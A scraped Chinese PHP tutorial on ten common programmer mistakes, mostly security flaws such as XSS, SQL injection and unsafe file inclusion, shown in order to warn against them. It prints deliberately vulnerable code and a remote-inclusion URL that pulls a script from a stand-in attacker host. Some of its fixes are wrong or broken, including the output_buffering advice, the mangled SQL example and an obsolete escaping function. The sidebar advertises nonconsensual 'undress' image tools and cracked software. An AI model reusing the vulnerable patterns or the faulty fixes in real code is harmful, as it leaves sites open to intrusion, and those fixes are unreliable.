搜尋
首頁後端開發php教程介绍PHP程序员最易犯10种错误_PHP教程
介绍PHP程序员最易犯10种错误_PHP教程Jul 20, 2016 am 10:57 AM
php介紹任務現在程式設計師錯誤

PHP程序员现在越来越承担着中重要的任务。php是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种:

1.不转意html entities

一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。

<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> </span><span class="vars">$_GET</span><span>[</span><span class="string">'usename'</span><span>] ; </span></span></li></ol>

这个例子有可能输出:

<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>

这是一个明显的安全隐患,除非你保证你的用户都正确的输入。

如何修复:

我们需要将””,”and”等转换成正确的HTML表示(’, and “),函数htmlspecialchars 和htmlentities()正是干这个活的。

正确的方法:

<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> htmlspecialchars(</span><span class="vars">$_GET</span><span>[</span><span class="string">'username'</span><span>], ENT_QUOTES); </span></span></li></ol>

2. 不转意SQL输入

我曾经在一篇文章中最简单的防止sql注入的方法(php+MySQL中)讨论过这个问题并给出了一个简单的方法。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!

如何修复:

和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数

正确做法:

<ol class="dp-c">
<li class="alt"><span><span><?php  </span></span></span></li>
<li>
<span class="vars">$sql</span><span> = “UPDATE users SET  </span>
</li>
<li class="alt">
<span>name=’.mysql_real_escape_string(</span><span class="vars">$name</span><span>).’  </span>
</li>
<li>
<span>WHERE id=’.mysql_real_escape_string (</span><span class="vars">$id</span><span>).’”;  </span>
</li>
<li class="alt">
<span>mysql_query(</span><span class="vars">$sql</span><span>);  </span>
</li>
<li><span>?> </span></li>
</ol>

3.错误的使用HTTP-header 相关的函数:header(), session_start(), setcookie()

遇到过这个警告吗?”warning: Cannot addheader information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。

头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。

如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置。

如何修复:

确保在输出之前调用http-header相关的函数,并且令output_buffering = Off。

4. Require 或include 的文件使用不安全的数据

再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET,$_POST 或 $_COOKIE 中得到的文件。

例如:

<ol class="dp-c">
<li class="alt"><span><span>index.php  </span></span></li>
<li><span>  </span></li>
<li class="alt">
<span class="comment">//including header, config, database connection, etc </span><span> </span>
</li>
<li>
<span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]);  </span>
</li>
<li class="alt">
<span class="comment">//including footer </span><span> </span>
</li>
<li><span>?> </span></li>
</ol>

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt来获取你的机密信息,或执行一个PHP脚本。

如果allow_url_fopen=On,你更是死定了:

试试这个输入:

http://www.yourdomain.com/index. … n.com%2Fphphack.php

现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

如何修复:

你必须自己控制哪些文件可以包含在的include或require指令中。

下面是一个快速但不全面的解决方法:

<ol class="dp-c">
<li class="alt"><span><span>  </span></span></li>
<li>
<span class="comment">//Include only files that are allowed. </span><span> </span>
</li>
<li class="alt">
<span class="vars">$allowedFiles</span><span> = </span><span class="keyword">array</span><span>(’file1.txt’,</span><span class="string">'file2.txt’,'</span><span>file3.txt’);  </span>
</li>
<li>
<span class="keyword">if</span><span>(in_array((string)</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>],</span><span class="vars">$allowedFiles</span><span>)) {  </span>
</li>
<li class="alt">
<span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]);  </span>
</li>
<li><span>}  </span></li>
<li class="alt">
<span class="keyword">else</span><span>{  </span>
</li>
<li>
<span class="func">exit</span><span>(’not allowed’);  </span>
</li>
<li class="alt"><span>}  </span></li>
<li><span>?> </span></li>
</ol>

5. 语法错误

语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。

7. 不使用framework

95% 的PHP项目都在做同样的四件事: Create, edit,list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能

PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查
只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现’或’”吗?这通常是因为在开发者的环境中magic_quotes设置为off,而在部署的服务器上magic_quotes=on. PHP会在 GET, POST 和COOKIE中的数据上重复运行addslashes() 。

原始文本:

<ol class="dp-xml">
<li class="alt"><span><span>It’s a string  </span></span></li>
<li><span>magic quotes on:  </span></li>
<li class="alt"><span>It’s a string  </span></li>
<li><span>又运行一次  </span></li>
<li class="alt"><span>addslashes():  </span></li>
<li><span>It\’s a string  </span></li>
<li class="alt"><span>HTML输出:  </span></li>
<li><span>It’s a string </span></li>
</ol>

还有一种情况就是,用户一开始输入了错误的登录信息,服务器检测到错误输入后,输出同样的form要求用户再次输入,导致用户的输入转意两次!

希望通过以上内容介绍的十方面,能够给你打击来帮助。


www.bkjia.comtruehttp://www.bkjia.com/PHPjc/445749.htmlTechArticlePHP 程序员现在越来越承担着中重要的任务。 php 是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了...
陳述
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
wapi是什么东西详细介绍wapi是什么东西详细介绍Jan 07, 2024 pm 09:14 PM

wapi这个名词用户们可能在使用网络得时候见到过,但是对于一部分人来说肯定都不知道wapi是什么,下面就带来了详细介绍,帮助不知道小伙伴去了解。wapi是什么东西:答:wapi是无线局域网鉴别和保密的基础结构。这就像红外线和蓝牙等功能一样,一般都覆盖在办公楼等地方的附近。基本都是为一个小部门所有的,所以这个功能涉及的范围只有几公里。wapi相关介绍:1、wapi是无线局域网里面的一种传输协议。2、这款技术是可以去避免窄频带通信的问题,可以更好的去进行传播。3、仅仅只需要一个代码就可以去传送信号了

详解win11能否运行PUBG游戏详解win11能否运行PUBG游戏Jan 06, 2024 pm 07:17 PM

pubg又称绝地求生,是一款非常经典的射击大逃杀类型游戏,从2016年火爆以来一直拥有非常多的玩家。在最近的win11系统推出后,就有不少玩家想要在win11上游玩它,下面就跟着小编来看看win11是否可以玩pubg吧。win11能玩pubg吗:答:win11可以玩pubg。1、在win11推出之初,因为win11需要开启tpm的缘故,所以导致很多玩家被pubg封号处理了。2、不过后来根据玩家的反馈,蓝洞方面已经解决了这个问题,目前已经可以在win11中正常玩pubg了。3、如果大家遇到了pub

Python函数介绍:exec函数的介绍及示例Python函数介绍:exec函数的介绍及示例Nov 03, 2023 pm 02:09 PM

Python函数介绍:exec函数的介绍及示例引言:在Python中,exec是一种内置函数,它用于执行存储在字符串或文件中的Python代码。exec函数提供了一种动态执行代码的方式,使得程序可以在运行时根据需要生成、修改和执行代码。本文将介绍exec函数的使用方法,并给出一些实际的代码示例。exec函数的使用方法:exec函数的基本语法如下所示:exec

i5处理器是否能装win11详细介绍i5处理器是否能装win11详细介绍Dec 27, 2023 pm 05:03 PM

i5是英特尔旗下的一系列处理器,拥有到现在11代i5的各种不同版本,每一代都有着不同性能。因此对于i5处理器是否能够安装win11,还需要看是第几代的处理器,下面就跟着小编一起来分别了解一下吧。i5处理器能装win11吗:答:i5处理器能装win11。一、第八代及之后的i51、第八代及后续的i5处理器是能够满足微软的最低配置需求的。2、因此我们只需要进入微软网站,下载一个“win11安装助手”3、下载完成后,运行该安装助手,根据提示进行操作就可以安装win11了。二、第八代之前的i51、第八代之

edge快捷键的介绍edge快捷键的介绍Jul 12, 2023 pm 05:57 PM

在如今快捷的生活,为了提高工作效率,快捷键是必不可少的工作需求。快捷键是指按键或按键组合,可提供另一种方式来执行通常使用鼠标执行的操作。那么edge快捷键有哪些呢?edge快捷键的功能又有哪些呢?下面小编整理了一份edge快捷键的介绍,感兴趣的朋友们快来看看吧!Ctrl+D:将当前页面添加到收藏夹或阅读列表Ctrl+E:在地址栏中执行搜索查询Ctrl+F:在页面上查找Ctrl+H:打开历史记录面板Ctrl+G:打开阅读列表面板Ctrl+I:打开收藏夹列表面板(测试好像不起作用)Ctrl+J:打开

详细介绍电脑中的打印机驱动程序位置详细介绍电脑中的打印机驱动程序位置Jan 08, 2024 pm 03:29 PM

很多用户在电脑上安装了打印机驱动程序,但却不知道如何找到它们。因此,今天我为大家带来了详细介绍打印机驱动程序在电脑中的位置,对于还不了解的用户,快来看看吧打印机驱动在电脑哪里找重新撰写内容而不改变原义时,需要将语言改写为中文,不需要出现原句首先,建议使用第三方软件进行搜索2、在右上角找到"工具箱"3、在下方找到并点击“设备管理器”。改写后的句子:3、在底部找到并点击“设备管理器”4、然后打开“打印队列”,然后找到你的打印机设备。此次是你的打印机名称型号。5、右键打印机设备,就能够去更新或者卸载我

PHP函数介绍:strtr()函数PHP函数介绍:strtr()函数Nov 03, 2023 pm 12:15 PM

PHP函数介绍:strtr()函数在PHP编程中,strtr()函数是一个非常有用的字符串替换函数。它用于将字符串中的指定字符或字符串替换为其他字符或字符串。本文将介绍strtr()函数的用法,并给出一些具体的代码示例。strtr()函数的基本语法如下:strtr(string$str,array$replace)其中,$str是要进行替换操作的原始字

玩游戏最好的win10版本介绍玩游戏最好的win10版本介绍Jan 08, 2024 am 10:41 AM

在微软公司发布了win10系统之后,我们所知的就有好几种版本:家庭版、教育版、专业版、旗舰版等等。小编认为这些版本在性能上没什么差别,只是有些针对性的功能不同。那么小编今天就来跟大家聊一聊玩游戏用win10哪个版本最好吧~希望可以帮助到你。玩游戏用win10哪个版本最好答:玩游戏来说,这几个版本其实区别并不大。如果只是想要拿来打游戏的话,推荐win10家庭版。因为家庭版没有其他花里胡哨的功能,能够让性能主要集中在游戏方面。这个问题,首先要说的就是win10几个版本之间的区别。1、win10主要版

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
2 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
2 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
3 週前By尊渡假赌尊渡假赌尊渡假赌

熱工具

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

將Eclipse與SAP NetWeaver應用伺服器整合。

EditPlus 中文破解版

EditPlus 中文破解版

體積小,語法高亮,不支援程式碼提示功能

MantisBT

MantisBT

Mantis是一個易於部署的基於Web的缺陷追蹤工具,用於幫助產品缺陷追蹤。它需要PHP、MySQL和一個Web伺服器。請查看我們的演示和託管服務。

SublimeText3 Linux新版

SublimeText3 Linux新版

SublimeText3 Linux最新版

PhpStorm Mac 版本

PhpStorm Mac 版本

最新(2018.2.1 )專業的PHP整合開發工具